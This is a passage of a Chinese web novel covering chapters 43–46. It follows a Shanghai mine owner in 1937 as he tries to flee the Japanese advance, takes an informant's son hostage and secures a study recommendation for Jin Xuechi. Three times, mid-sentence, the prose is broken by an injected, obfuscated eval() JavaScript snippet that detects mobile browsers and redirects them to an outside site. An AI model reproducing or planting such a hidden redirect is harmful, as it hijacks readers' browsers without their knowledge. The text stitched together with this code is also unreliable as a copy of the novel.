金雪池当然可以走神,他可是认认真真应付了王厚德半个小时。对方似乎对他见过汇丰买办有所察觉,一直强调这时节的买办都压价格,发国难财。 到底有多少人暗中注视着他? 金雪池伸手下去猛地捏了几下脚踝,轻轻出了声:“你看到街上那些人没有?” “看到了。你别往虹口、闸北去。” “我从前也不去的。” 薛莲山就没说话了,起身点了一根雪茄,默默吞云吐雾起来。金雪池的胸廓没有明显起伏,但她事实上在用力呼吸,闻到了雪茄燃烧的酵香气。她觉得是他的沉凝从她的肺部流过,一趟过后,她也通体沉静。 她决定再跟他说一句话,他要还是兴致缺缺,今天就算了,“我差点被抢劫了。” “嗯?”薛莲山立刻接话道,“你受伤了吗?” “跑的时候右脚扭了一下。” 他走过来看她的脚,金雪池立刻讪讪地把脚缩到床上:扭了脚是不假,但外观上并没有肿,倒像是她在夸大其词一样。薛莲山去绞了个冷毛巾,坐在床边,还是不依不饶地把她的右腿抓起来了。 金雪池几乎是瞬间就出了一身汗,“不不不薛先生——” “别紧张,我不乱摸。” “不是,不是,我怎么好意思——” 他已经把冷毛巾敷上去了,顺便看了一下金雪池的脚:和她的手一样,细细长长的,足弓比较高,走起路来轻巧。再去看金雪池,金雪池震撼地瞪大了双眼。他不禁笑了,在她脚背上拍了一下,“以后让定青跟着你出去,好歹是个人高马大的男人。” 她语无伦次地“好”了几声。薛莲山仍把她的脚搁在腿上,上半身俯过去拉开抽屉,从里面掏出一张小照片,“看看。” 由于照片小而模糊,仅凭五官看不出人来,但金雪池还是立刻说:“这是你?” “我二十岁的样子。是不是比定青还人高马大?” 简直可以说是壮汉。金雪池叹为观止,怪不得他年轻时什么都没有就敢跟人胡说八道,就像孔子周游列国,孔子固然很会讲道理,但他同时还是个一米九的山东大汉......薛莲山看上去也同样孔武有力,有谁不服,一拳头能把人抡好远。 不过他不会这么做,他讲文明,拍照片的姿势也很文明,戴礼帽、拄手杖。 她问他:“你喜欢这个样子吗?” “并不,显得很没文化。” “那么,我们有代沟了。”金雪池一本正经道,“现在的年轻小姐就喜欢这种,譬如孙婕霓,书生形象已经不流行了。你既然要讨年轻小姐欢心,就该保持过去的形象。” 薛莲山笑道:“孙小姐是孙小姐,你呢?” 金雪池不说话,并想把脚抽回来,一直搁在他腿上真不是个事。薛莲山抢在她抽出来前捏了一下她的小腿肚子,然后坐回去,拿起烧了一半的雪茄继续抽。雪茄这种东西最好不要二次复燃,到了第二次,口感就变苦了。 金雪池第二次回到他身边,像没和他分开过一样。既不分外热情,也不尖酸怪气,好像对他与顾盼的一场情事并不关心。他也不知道是好事还是坏事,只想:她对我感情实在不多啊。 43.准备 几日后,买办联系上龚小姐,龚小姐又找到薛莲山,约在了一家西点店里详谈。还不等薛莲山施展面子功夫,买办直接说:“薛先生,我们做了一些背景调查。去年你和山月商社打过官司?为什么?” “我和铃木社长之间有一些冲突。” “依我看,还有他想入股的原因吧?”买办盯着他说,“是这样,战况你我都看到了,非常严峻,非常严峻......我现在固然能给你开票子,但是汇丰在法律层面得到了矿场,一旦日本人打下江苏,矿场的实际所有权就归属于他们了。我们不能派律师去跟枪管子讲道理,是不是?” 薛莲山的面色已经相当不善了,“这就是贵行研究出来的结果?” “实在对不起,风险毕竟太大了,我不能做有损洋行利益的事情。这样,我们可以立刻接受机器设备,怎么样?因为机器设备马上就能转移,矿场实在是......” “席先生,现在你不能把机器设备拆走。我人在国内,这么大的动静一出,日本人立刻就注意到了。” 此言一出,买办的表情也很不悦,“我们转移设备也是要时间的。” “明年之前我一定走。贵行不接受矿场,我总得想办法把它抛出去吧?” “唉,等到过年的时候,中国不知道......” “就这样吧。”薛莲山看了看表,心烦意乱地大步出了西点店。室外太阳很大,明晃晃的,烤得人汗流浃背;他穿了正装,明显能感到汗水汇成一股股地往下流,痒得心情更加烦躁。 这才是麻烦了,矿场卖也卖不出去,带也带不走,要不然,就贱卖给同行?同行此时也都急着把矿抛出去,都预见了被日本人强制接管的命运。 事情发展到这个地步,让日本人入股才是把损失降到最小的方法。山月商社就算入了30%的股,都有70%在他手上,即使远走他乡,照样能拿巨额分红,苏兴公司在名义上也一直属于他,留得青山在,不怕没柴烧。 他觉得刚才在西点店的一番对话也肯定被人听去了。日本人之所以还没对他动手,就是发现局面是有利于他们的,不必打草惊蛇。 但也不难想象,他离开后,日本人会拿煤矿干什么:驱动轮船、发动火车、建设军工,运送更多士兵枪炮上战场。 他倒是躲得开! 薛莲山感觉自己要被汗水泡发了,赶紧回了苏兴,把风扇开到最大。顾盼写的“大展宏图”仍留在墙上,笔力虚浮,一看就是不常写字的,不像金雪池那样跟纸笔熟。 他把字摘下来,让龚小姐叫阿龙上来。 阿龙和他是两个极端,别说穿正装,他上半身就没穿衣服,脚下也只趿一双木拖鞋,一进门就站在风扇面前对着吹,给薛莲山看一个汗津津、黑亮亮的后背。 薛莲山道:“风吹过来都是馊的,你站开好不好?” 阿龙站开了一点点,仍闭眼享受着风。吹得心满意足了,他过来俯在他耳边汇报:“我查了王厚德,他以前就是个普通工人,也没什么钱。三年前他儿子王润禾进到山月商社做事,当了个小经理,日子滋润了起来,他也开始当电影监制,拍了两部稀烂的电影。” “王厚德有没有女儿?” “他有没有女儿有什么要紧?你要对付王厚德,肯定是绑他儿子。” “我觉得顾小姐是他女儿。” “那又有什么要紧?我们不是在谈正事吗,不要总想起张小姐李小姐的。” “人家姓顾,我觉得她是为了‘盼’这个字特意配的。顾小姐与我好一场,我得替她出气。好吧,你既然调查清楚他儿子的日程了,尽快绑起来,我受够被人监控了。” 阿龙说这并非易事,要等机会。 薛莲山没法等他,火烧眉毛了。抱着试一试的心态,他火速联系了几个小一点的洋行,对方也只给出模棱两可的回复,不肯答应。这期间,铃木社长夫妇来做了几次客,谈笑间,俨然是马上就能实现大东亚共荣的意思。他们原来也隐隐敬畏着中国这位古老的老师,战争一打响,实力也见了分晓:不过如此嘛! 那态度让宋妈都很气愤,拉着一张脸上菜。金雪池用余光瞟薛莲山,他没显露出气恼的样子,但也接近于在冷笑了。 夜里时常能听到江上传来演习的炮声,似乎近在咫尺,响得她睡不着觉。窗外有一枚黯淡的月亮,既无莹润光泽、也不散发夜辉,像宣纸的材质,用力一捻还会破,此刻正在炮声中抖出簌簌的声响。 金雪池心中煎熬,身上也出汗,被子是盖不得的,她只把杯子紧紧团在胸前,压迫那颗心脏。压了一会儿,她做了个决定。 “薛先生,”她轻声说,“你睡着了吗?” 薛莲山的声音在下面响起,“没有。” 她趴到床边看他,他是一个一腿抻长、一腿弓起、双手垫在脑袋下的姿势,显然在心理上也无意入睡,这地板不舒服,他在看天花板角的一只蜘蛛。这个孩子气的姿势瞬间引发了金雪池爱的反应,她也不犹豫了,说:“我跟你走吧。” 薛莲山“嗯”了一声,懒得问她为何回心转意,他快烦死了:又添一桩新事!你早不说! 第二日早上两人你侬我侬、难分难舍,一路侬进了苏兴。他让她用办公室里的电话找教务部咨询推荐留学的流程,他先到楼下见人。金雪池一边握着话筒说话,一边就盯着空空如也的墙看。 薛莲山见完小洋行的买办回来,第一时间也想到了墙,怕金雪池出言讽刺,他简直被顾盼闹怕了。但金雪池毕竟是金雪池,什么评论都没有做出,只是说:“他们说要找老师写推荐信,一封就可以。” “我刚还准备派车送你去学校的,那正好,你直接给王院长打电话。” 金雪池踟蹰了一下,“要不你打吧。” “我打什么?”他从抽屉里找出钢笔,拉开椅子就坐下了,“是你上了课,你就跟他说你多么感谢他的栽培、你学到了什么、你未来有研究哪一方面的计划,然后让他推荐一个学校给你。不要说我现在的处境,说你自己有志深造。” 金雪池只好开始磨磨蹭蹭地拨号,仍然对于“找老师推荐自己”这事感到很羞耻,硕士为什么不可以凭考试入学呢?几句话后,她挂了电话,脸色大变。 “薛先生,”她干巴巴地说,“王院长说专业课要均分过八十八才能推荐。” 薛莲山大感意外,“你成绩不是很好吗?” 四目相对,他意识到她因为没钱,两年并做一年读,大三、大四成绩平平,只能说把毕业证混到了。金雪池倒有些羞赧,觉得自己没对住他的期望。 铜环又被拨得嗒嗒直响,是薛莲山亲自在拨号。王院长显然已经知道了他的来意,这没关系,他热切地关心了一番圣约翰的情况如何,又关心对方的公子千金,最后才说:“金小姐的学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188275|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 习能力如何,是我们有目共睹的。其实哪有那么多硬性规定呢?推荐信写与不写,以院长你这样高的威望与职位,完全可以做决定。这件事说起来还是怪我......” 他讲电话时有个习惯,另一只手搭在桌面上,食指随着说话的节奏敲击。金雪池垂眼望着那只手,宽大粗长,真是一只男人的好手!她愿意他抓她的脚踝、握她的手、拍她的后颈...... 她在这里兀自神魂颠倒着,王院长又一次把电话挂了。 薛莲山仍握着电话,皱着眉。 “还是不行吗?” “没事,”他说,“也不一定要他的,你这几天回学校问问,谁愿意给你写就谁写。我也磨一磨他,他完全不讲道理。过去他亲自打电话来向我夸你,说你是个读书的料子,现在又非要遵循这个死规定。” 他难得表现出对人有意见的样子,可见是压力相当大了。金雪池不敢异议。 然而回学校一看:不剩几个老师了!上海籍的放了假,躲进租界;非上海籍的有一部分辞职回家。现在数学系里还留守学校的,除了王院长,就是一位年轻的新老师,他并没有教过金雪池任何一门课。 她真是后悔,为什么等到这个时候再做决定?为什么考那么差?薛莲山的事已经够多了,她还要麻烦他。 金雪池带着一种自虐似的决心找到那位年轻老师,说自己的来意,只觉得脑子像一台蒸汽机,直往上方冒白气。对方瞥了她一眼,“你说这么多,我也没教过你。” “我知道,就是,我想知道这个八十八分的要求......” “王院长都说是的,那还有什么好问的?” “我实在是有些特殊情况,我来圣约翰只有两年。我想知道的就是,这是王院长个人的规矩,还是学院的规定呢?美国的学校难道会看成绩单......” “我见你这样的学生多了!”年轻老师忽然把笔往桌子上一摔,“来学校就混日子,这么贵的学费,反正你爸妈交得起!同学,你听到战况没有?就是因为你这样混日子的人太多,国要破家要亡了!为什么不好好读书报效国家,就想着投机取巧呢?你想去美国,到底是因为想读书,还是去避难的?” 金雪池“再见”都没说,扭头就走,下楼梯的时候有几滴眼泪砸在了皮鞋上,脚背都能感知到。她又气愤,又觉得气愤得没道理,自己确实不算很刻苦,可是...... 要是我老豆还在,我至于跑来求你? 她一想到金文彬,悲从中来,一路走就一路流泪,委屈得不得了。金文彬把她当天才,过去也从来没有人这么对她说话!她混日子?好吧她确实有点混,但是她混到这个地步也很不容易啊,老豆也不在了,她一个人在上海...... 金雪池下到一楼,整理清楚思路,接受了一个不争的事实:骂得好,她确实是混日子。 街对面蹲着个妇女,大概在等人,怀里抱一个、手里牵一个,还有个更大的孩子自己趴在地上玩,俱是风尘仆仆、人困马乏;临近后门的空地上,几个学生跪在一条巨型横幅边上又涂又画,为募捐做准备;巡捕推了满三轮车的沙袋,用于防御工事。 她在热到令人眩晕的大太阳下站了片刻,觉得自己的眼泪是一场傲慢的无病呻吟。 又不是要死了,只是没有美国的硕士读了。天哪,看看才多大一回事,只是没有美国的硕士读了。 44.人质 当晚她把情况告诉了薛莲山,薛莲山还在想矿场何去何从,闻言真想叹气,但是憋住了。“没事,”他只是说,“我去跟王院长说。” “实在不行就算了。” 薛莲山笑了,“哎,才答应了我要装我的女朋友装到底,中途反悔么?” “我不是说这个算了。”金雪池认真道,“没书读,我也一样跟你去。” “那你更有资格跟我提条件。” “你忙你自己的事吧。其实大家的处境都难,未来要流离失所都说不准,我还能顺顺利利地大学毕业,强过很多人了。” “妹妹,”他拍了拍她的刘海,“人只和自己的理想比。如果你的理想是当博士,现在就不够,这跟很多人甚至不识字没有任何关系。” 金雪池其实没有理想,她猜薛莲山肯定有许多具体、高远的理想。市面上流行“和过去的自己比”这种观点,用以劝慰人知足常乐,任何微小的进步都可喜可贺;而他大概没空整天庆祝自己的进步,只考虑自己离实现理想还缺些什么。 八月十三日,日军第3师团在虹口登陆,闸北、江湾沦为战区。 八月十四日,一颗炸弹落在了上海大世界上。 金雪池当时没出门,因为中日空军在黄浦江上交火。下午时分,她在愚园都听到轰的一声,以为日本人丧心病狂到往市区扔炸弹了!王厚德也同时站起身来,薛公馆足足静了几分钟,没听见第二下动静,各人才慢慢归位。 定青并不恐惧,为了打探消息,甚至出门买了几道卤菜,告诉她说:“大世界那边已经封锁了,听说,死了将近一千人。” 宋妈闻言就“呀”了一声,“上海还能住么?他们都敢......都敢炸大世界了!薛先生怎么不搬走?” 金雪池吃了一惊,毕竟王厚德还在,薛莲山走不走的话题太敏感。她要起一个稳定军心的作用:“这里毕竟是租界。” “那也是。法租界应该比公共租界更安全,薛先生在法租界也有房产,等他回来,我们商量商量搬去好了。” 薛莲山当天亲自去找了王院长一趟。他不知道有没有人跟着自己、能不能猜出自己是要做什么,心情坏到一个地步,他就乱来了,日本人真找上门再说。 不出意外,王院长又一次拒绝了他。他不懂这头老犟驴在想什么,且因为对方摆出一副清高知识分子的样子,退还了他送去的酒,几乎给他一种被羞辱的感觉。 由于美国《排华法案》的影响,只有四类华人可以入境:学生,教师,商人,官员。他自己倒是没问题,资产证明、营业执照、与美一万美元以上的贸易合同都有,签证也仍未过期。 但是金雪池如果拿不到推荐信,她入不了境。仅剩的办法就是以他家属的身份入境。 他很可能要跟她结婚。 薛莲山真不想管她,两人可一路同行至天使岛的移民局,然后任她被遣返。反正自己那时候也踏上美利坚的土地了,日本人只能望洋兴叹。 但是……伤害女人的事他做不出来。 下午他打算去问问许豫生国家愿不愿意接受这些矿,扑了个空,电话也不接,门铃也无人应。 晚上回来,又先安抚了所有的佣人,说日本人绝对不会向租界扔炸弹;再回应宋妈对于搬家的建议、定青对于大世界的听闻、王厚德对于苏兴公司的关心。说到后面,他道:“没料到王监制这么关心我,连这也要问。今天大世界发生了惨案,为什么不打电话问问令郎是否安好呢?” 此言一出,众人皆惊。薛莲山咔嚓一剪子剪掉雪茄头,又咔嚓一声撬开火机,他抬眼看了王厚德一眼,火苗在镜片之间形成双重跳动的倒影。 王厚德听他这话就不对,跑出去用公共电话给儿子家里打了个电话:他今天就没回家! 他什么也顾不上了,当场就离开了薛公馆。 宋妈感到了气氛的不平常,用力搓着围裙走了。薛莲山站在原地,又拨了一个新号,对面响了几声,没有接。他上楼去收拾了两个保险箱,同时让金雪池把这段时期买的大宗古董字画收拾好,易碎品要垫棉花包扎。 其实如果王厚德能被他这招挟持住,不急这一时。但薛莲山不太信任父亲爱孩子的本能,他怕王厚德抛下儿子、直接找日本人告状,故先把重要的东西转移出去。 等了约莫半个小时,阿龙、邵子骏就开车到达薛公馆,扛走两个保险箱、五个大藤箱。 “喂,子骏,”他有了闲情逗一逗他,“腿好了,搬不搬得动?” “有什么搬不动?”邵子骏还灵活地伸腿要踢他一下,他站着没动,很配合地“哎哟”了一声。阿龙旁观着,笑了一声。定青的脸色倒是相当阴沉——他好像被排除在薛先生的计划之外了。 等人一走,他就急不可耐地凑上来问这是要干什么,要走了吗?答曰还早呢。他听出了薛莲山不想回答的态度,忽然感到非常恐慌,怕对方会忽然去美国、不带自己,忽然就抢过了薛莲山手中尚在燃烧的雪茄,掷在地上。 薛莲山没料到他来这一出,“你发什么疯?” “薛先生,”他低声说,“你这几天抽得太多了!” 薛莲山最讨厌别人对自己管这管那,已经想骂人了。其实他一直处于想骂人的状态,是刚才把合同文件全送出去,心里有了底,才稍微松快一些;这个定青又来惹他的火! 碍于金雪池也在,他压住怒火,转身疾走回卧室。金雪池若有所思地尾随他进来,分析说:“定青在寻求你的关注。” “闭嘴!”他不耐烦地一拍藤椅扶手,“你妈的多大的人了——” 薛莲山突然才意识到是她在说话,他刚刚并没有留神。顿了顿后,他又用力拍了扶手一下,皱着眉闭上了眼,也不准备做解释。 这么大一家子,就只会张着嘴“薛先生薛先生”地嚎! 待他平静下来,一睁眼,发现金雪池不见了。他以为是自己刚才态度不好气走了她,刚要起身去找,金雪池就端着一盘西瓜回来,正用一柄小银叉子叉着往嘴里送。 他又坐回去。 金雪池吃了一会儿,发现他在盯着自己看,便问:“你要吗?” 他又闭上眼睛,“不要,我很烦。” “别烦。” “……”他长长吐出一口气,解开领带去洗澡。等洗完澡回来的时候,金雪池已经美美地抱着被子闭上了眼。 薛莲山有那么几个时刻不想当薛先生,他也想抓住哪个先生帮自己把问题统统解决了! 第二日一早,他做出了最后一搏,打电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192363|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话给了陶碧旻——复旦大学的一位文科教授,试图让他帮忙找关系。 陶碧旻满口答应:“你应该早些找我,我表弟是数学系的教授,他兴许认识圣约翰的教授。” “我并不知道这一层!我想学校不同,你又是教哲学的……” “老师之间都彼此认识。晚点我给你回电。” 这一晚点,就晚到了第二天早上。他表弟认识一位圣约翰的数学系教授,不知道教没教过金雪池,但表示愿意写推荐信。然而他们一家已经从上海回了温州老家,推荐信寄过来还要些时间。 陶碧旻强调说:“薛董,这个学生是你带去美国的,你要确保她不违法乱纪啊!倘若出了事,推荐老师要担责。” “我保证,金小姐性格很乖巧。不知道怎么感谢你才好,我马上让佣人——” “不必,不必,我太太要往后方搬了,你再送东西也带不了。”陶碧旻语速很快地说,“我也不回家,这几天要协助学校转移书籍。就这样吧!祝你顺利。” 一颗大石头于是离地又近了些。没完全落地,是因为上海周边的通讯网络瘫痪了,等推荐信寄过来,还要再寄去美国换录取通知书;等录取通知书寄过来,还要再去领事馆办签证……天哪,繁文缛节,不知道还要等多久! 去美国原本要途径香港,香港倒是安全,他打算拿到她的推荐信后,去香港办后续手续——和平时期就要走大半年的手续,现在估计得等一年多,一年后的上海不知成什么样子了。现在剩他自己的事没做完。 薛莲山扶着椅背,正酣畅淋漓地咳着,王厚德就登门了。 他这回黑着脸,一句寒暄也没有,直接就问:“你要多少钱?” 薛莲山报以一串大咳特咳,懒得理他,从客厅悠转到阳台。等从容地转回来,他道:“王监制是什么意思?” “我儿子不见了。” “我不是办托管班的。” “薛先生,事到如今,我们开诚布公吧!我昨天去医院等了一晚上,到处问,死伤名单里并没有我儿子!” “死了快一千个人,其中有很多炸成肉酱的,王太太去了也不一定认得出来,更别提工作人员了——别瞪,你在我家蹭吃蹭喝多久了?那荔枝都是从广西空运过来的,你一个人全吃了。”薛莲山道,“我不跟你计较,也不是找你要钱的。我只要你把嘴巴闭紧。” “你先让我见见润禾。” “好说。除你之外,有多少人暗桩?” 王厚德只能交代:苏兴外面有两个,苏兴里面有一个,所有情报都要汇集到他这里来。薛莲山告诉他,如果他不能把嘴闭上,王润禾就要永远地把嘴闭上了。 王厚德固执道:“你让我见见他。” 王润禾此刻正在一间废弃仓库里,是邵子骏的地盘。他显然不能把王厚德直接带过去,王厚德知道了定位,就会找日本人求援。只能是他带着王厚德、阿龙带着王润禾,找个折中的地方见面。 现在外面不安宁,带王润禾出门风险太大。阿龙于是送了一枚新鲜的耳朵过来,证明耳朵的寄主还活着。 王厚德托着那只热乎乎、鲜血淋漓的耳朵,老泪纵横。 连汉奸也懂得爱儿子。薛莲山不知作何感想,只能一个劲儿地掸烟灰。 45.迁校 王厚德像只被阉过的公牛一样,偃旗息鼓下来;薛莲山就神清气爽了。他在家翻箱倒柜地清东西,是搬家的架势,佣人都知道了他要做什么。 “那我怎么办呢?”宋妈含泪道,“我一直跟着你的啊!” 薛莲山给她写了一份弟弟家的地址,又写了张纸条,让弟弟见字条收下她。“他对佣人大方,太太还怀孕了。”他笑着说,“你喜欢小孩子吧?可惜我一直没有孩子给你带。” 宋妈固然喜欢小孩子,但经历了薛莲山这样的雇主,让她去当保育员她也不愿意了。 对于余下的佣人,他也一一做了安排。定青听着,已经面如死灰:不带他去。 事实上薛莲山愿意带他去,但天使岛移民局太难过了,除了他和金雪池,没有一人能申请到签证。 道理是很明晰的,但是定青不敢相信他只是平静地跟自己讲道理。他跟了他这么多年……这么多年!薛莲山甚至还能露出苦笑的表情,“实在对不住。” 而定青说不出来话。片刻后,他沉默地回了房,关门时也静悄悄的。薛莲山显然是为他没有胡闹而松了口气,刚坐下,家丁来通报:“许少爷到了。” 许邦尧的白衬衫被汗打得透湿,贴在身上,是很不得体的,他平常不会这样匆忙来见人。不过即使不得体,他也并不露怯,仍有一番簪缨世族的风度,低头一鞠躬,“薛叔叔。” 薛莲山立刻唤宋妈去拿冰苏打。许邦尧接过苏打水喝了几口,又用袖子抹了抹满头的汗,“薛叔叔,你昨天去了我们家?” “不错,可是没有人在。” “是这样——”他环视四周,发现了王厚德这个生面孔,踌躇着要不要继续说。薛莲山便把王厚德赶到客房里去了。 “政府在一周前召家父撤去重庆,母亲和妹妹也跟去了。我留下来是因为学业尚未完成,倘若战况有变,学校要转移,我也跟着学校走。我今天来是想知道你有什么要事要找家父,紧急的话,我有渠道联系上他。” 居然是专程为他的事情而来。薛莲山道:“其实不是什么要事,是我私人的事情。” “我记得你跟家父之间有合作项目。” “不算。只评了个名额,其实都是我自负盈亏。过去曾面临了一些威胁,令尊并未给予任何帮助。现在他人在外地,就更不用麻烦了。” 许邦尧愣了愣,薛莲山便笑了,“不过我要谢谢你跑这一趟。” “应该的。薛叔叔,不管你有什么事情,我想劝你顺其自然。京津不少企业都被强行‘军管理’‘合办’了,民间舆论都是同情态度,何况你的行业性质特殊。” 待他走后,薛莲山对金雪池评论道:比他爹像个人多了! 金雪池不知道许豫生多么不像人,但她确实认同许邦尧很像话。以及她猜许邦尧留下不止为这两个缘故,还为胡佩珊。 从孙婕霓那里,她了解到胡佩珊也出身于一个名门望族,和许邦尧可谓门当户对。不过胡老爷在辛亥革命后拒不出仕,守其臣节,一个大家族只能闭门啃老本。啃到现在,光景其实不太好了,更别提胡老爷前几年去世了,胡太太还抽大烟。 最后孙婕霓总要总结说:“她配不上许同学。” 配不配得上是一码事,情感又是另一码事了。据金雪池观察,许邦尧挺喜欢他的未婚妻。 她猜得一点不错。 许邦尧本打算今年暑假就和胡佩珊完婚,不料突然开始打仗,只好向后推迟。 他的父母去了重庆,胡家却并未搬迁,一来不是重要人物,没必要;二来也没钱。法租界还安全,他们一家只是昏昏地睡在烟气里。 从薛公馆出来后,许邦尧又连着拜访了两户人家,临近晚上时去了胡公馆。 他没接到薛莲山的电话,是因为许豫生一走,他就住到胡公馆去了。 揿了许久的铃,才拖拖沓沓走出一个老妈子,一边剔牙,一边道:“哟,姑爷!” 许邦尧含笑点了一下头,即使尚未过门,他也是胡公馆公认的姑爷了。早在十岁的时候,他来找佩珊玩,佣人就要“姑爷”“姑爷”地起哄。 他那时候很着急:“我不是!” 胡佩珊懒洋洋地拖声说:“好,好,你不是——进来吧!” 他跨进院门,把帽子抱在怀里。一只鸡连飞带扑地从他鞋子上过去,后面追了两个赤脚的小孩,也不叫人,差点拌了他一跤。 夏日太阳大,室外的空气似乎被杀菌消毒过,有种健康的味道;一进胡公馆,樟脑、蚊香和木头发霉的气息就裹住了他,使他觉得肺里潮乎乎的。 一个小丫头见了他,道:“二小姐在二楼!” 许邦尧谢过她,慢慢地沿楼梯往上走,给胡佩珊充分的准备时间。刚在二楼站定,胡佩珊就闪现在楼梯口,因为背着光,五官都藏在暗处,只有眼白里的两颗瞳孔奇亮。 “吃了么?” “找你来一起吃。” “我刚让陈妈准备去了。” 他们一起进了房,胡佩珊在床边坐下,他坐椅子,“太太身体怎么样?” “老样子。一不痛快就让我去烧烟,闻我这一身味儿。”胡佩珊用手在自己面前扇了扇,“听说你来了,才放我出来。如今你在我们家的地位不是一般的高,你就是让她去给你端碗茶,她也会去的。” 许邦尧只是报之一笑。她总是觉得她的家庭对他是一种拖累,他也确实不太赞同胡家长辈的那种作风,但怎么说呢……反正他也不是承担不起。 他有好模样、好学识、好品德,只要继续保持下去,将来在父亲的举荐下步入仕途,前途无量。 胡佩珊又说:“你爹也舍得让你留下,兵荒马乱的。” 许邦尧喃喃道:“我毕竟要拿到毕业证,最后一年了。下学期估计也要迁校,说是要去江西。” 两人都感到一种分别前惘然的情绪,在蚊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196946|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香渺渺的青烟里,真是浮生若梦。他闭着眼往前一扑,脑袋就枕在了她膝上;胡佩珊并不嫌,将瘦骨嶙峋而泛青色血管的手插在他汗淋淋的头发里,静静地摩挲着。 两人又呶呶地聊了一会儿。胡佩珊问明天出去吗?他说他是志愿者,有同窗在大世界惨案里受了伤,要去探望。她问男同窗女同窗?他说男同窗。 此男同窗便是李伯惠。 前一天两国开了火,母亲觉得很有必要囤物资,就差他出去买米买面买油。他扛着大袋小袋,路过大世界时,还想起要给弟弟买一袋梨膏糖,就在那里耽搁住了。 不幸中的万幸是没有烧伤或者内伤,只是被坠落的水泥块砸伤了,养一养还能好。 许邦尧推门而入时,他立刻一个仰卧起坐。 李伯惠没和许邦尧说过几句话,但对此人如雷贯耳。此人家境优渥,又学法律,大概以后也是要走仕途的;且身材健壮、浓眉大眼,既是学院的篮球队长,又是学生会主席。光芒太闪,闪得他要避着走。 但这会儿腿断了,想避也避不开。许邦尧倒是微笑:“还好么?” 他只能强颜欢笑:“谢谢,还行。” “医生说你九月前好不了。这是延缓开学申请单,你签个字,我帮你带回学校。另外,这是受灾学生补助……” 李伯惠断然拒绝,“不用。” 许邦尧料想他也不愿意拿这五块钱,同时又知道他家境不好——不算特别糟糕,父亲是个普通职员,母亲是主妇,但这在许邦尧看来已经穷透了。 “拿着吧。”许邦尧最终说,“不然我没法交差,这是硬性规定。” “募捐掉吧。”李伯惠也感觉自己的语气太生硬了,解释道,“我并不是负担不起医药费。前方在打仗,还是把钱用到实处。” 他的腿在九月前确实一直没好,但强行出院了,因为必须拿到毕业证。开学当天全校只有三分之一的学生报了到,原校区毁于一旦,只能借徐家汇复旦附中校舍临时开课,但也遭流弹袭扰,最终在十月全面停课。 1937年9月,教育部指令复旦与大夏大学组成 “复旦大夏联合大学”,分两部迁移:第一部以复旦为主,由吴南轩带领900余人迁往江西庐山;第二部以大夏为主,迁往贵州贵阳。但庐山很快陷入战火,师生被迫于12月2日登船溯江而上,在宜昌滞留月余,依靠民生公司总经理卢作孚协调 “军差” 船空余吨位,才分批抵达重庆。 圣约翰大学亦采取合并策略。八月里,师生通过苏州河驳船将图书、档案、实验器材分批运往大陆商场。为躲避日军巡逻艇,运输集中在凌晨进行。同年九月,圣约翰大学与沪江大学、东吴大学、之江大学、金陵女子文理学院五校组成上海联合基督教大学,实行分时授课制。 时局多艰,诸君当自勉。 同年九月,一封推荐金雪池去加州大学伯克利分校的信突破层层封锁,到达了上海。 46.插翅难飞 推荐信刚到上海,又挟了自我陈述表、成绩单一同寄出去。金雪池对那张均分不到八十八分的成绩单很是羞愧,尽管薛莲山说有信就够了,成绩单是走个形式,她仍惶惶不可终日。 太丢脸了,太惭愧了,她什么都不能为他做,作为学生,她唯一能做的就是考试。而她考试都没考好。 金雪池脸上无光,成天就是看旧课本。之前为了应付考试,很多地方背下来一个解法,直接就混过去了;现在没有课业压力,她反倒能回过头去钻研。 薛莲山站在门口取笑道:“孩子死了来奶了。” 他最近去公司的次数减少了,事情仍未解决完毕,但外头太乱。金雪池至今仍不知道薛莲山将要怎么处置他的矿场,她问过一次,他说“不必操心”,是“别管闲事”的委婉表达形式,她就没再问。 两人成天在家厮混,也越发亲密。金雪池自知理亏,闷头拨算盘,一珠子拨上去,外头开始响警报。 屋里那簇摇摇的快乐瞬间熄灭了。没人说话,只听着刺耳的警报由小及大、由大及小,其中夹着轰轰然的炸响,片刻后,满屋的灯也跟着灭下去。发电厂又遭了殃及。 现在情况很不好,华界的民居、工厂、商铺已被夷为平地,死伤无数;日军虽不敢炸租界,但也在租界边缘及越界筑路区域试试探探地扔过几颗炸弹。约200万华界市民涌入面积仅数十平方公里的租界,搭了无数棚屋,更多的露宿街头、睡防空洞、睡地道,定青每天出门买菜,看到沿路的都是死人。 “听说都开始闹霍乱了。”他报告说。 薛莲山点了点头,示意知道了。 “药品也缺。”定青补充道。他真是担心,薛先生是离不开药的,染上什么乱七八糟的病更是完蛋,偏偏还在等洋行那边接收矿场的消息,想走也走不得! 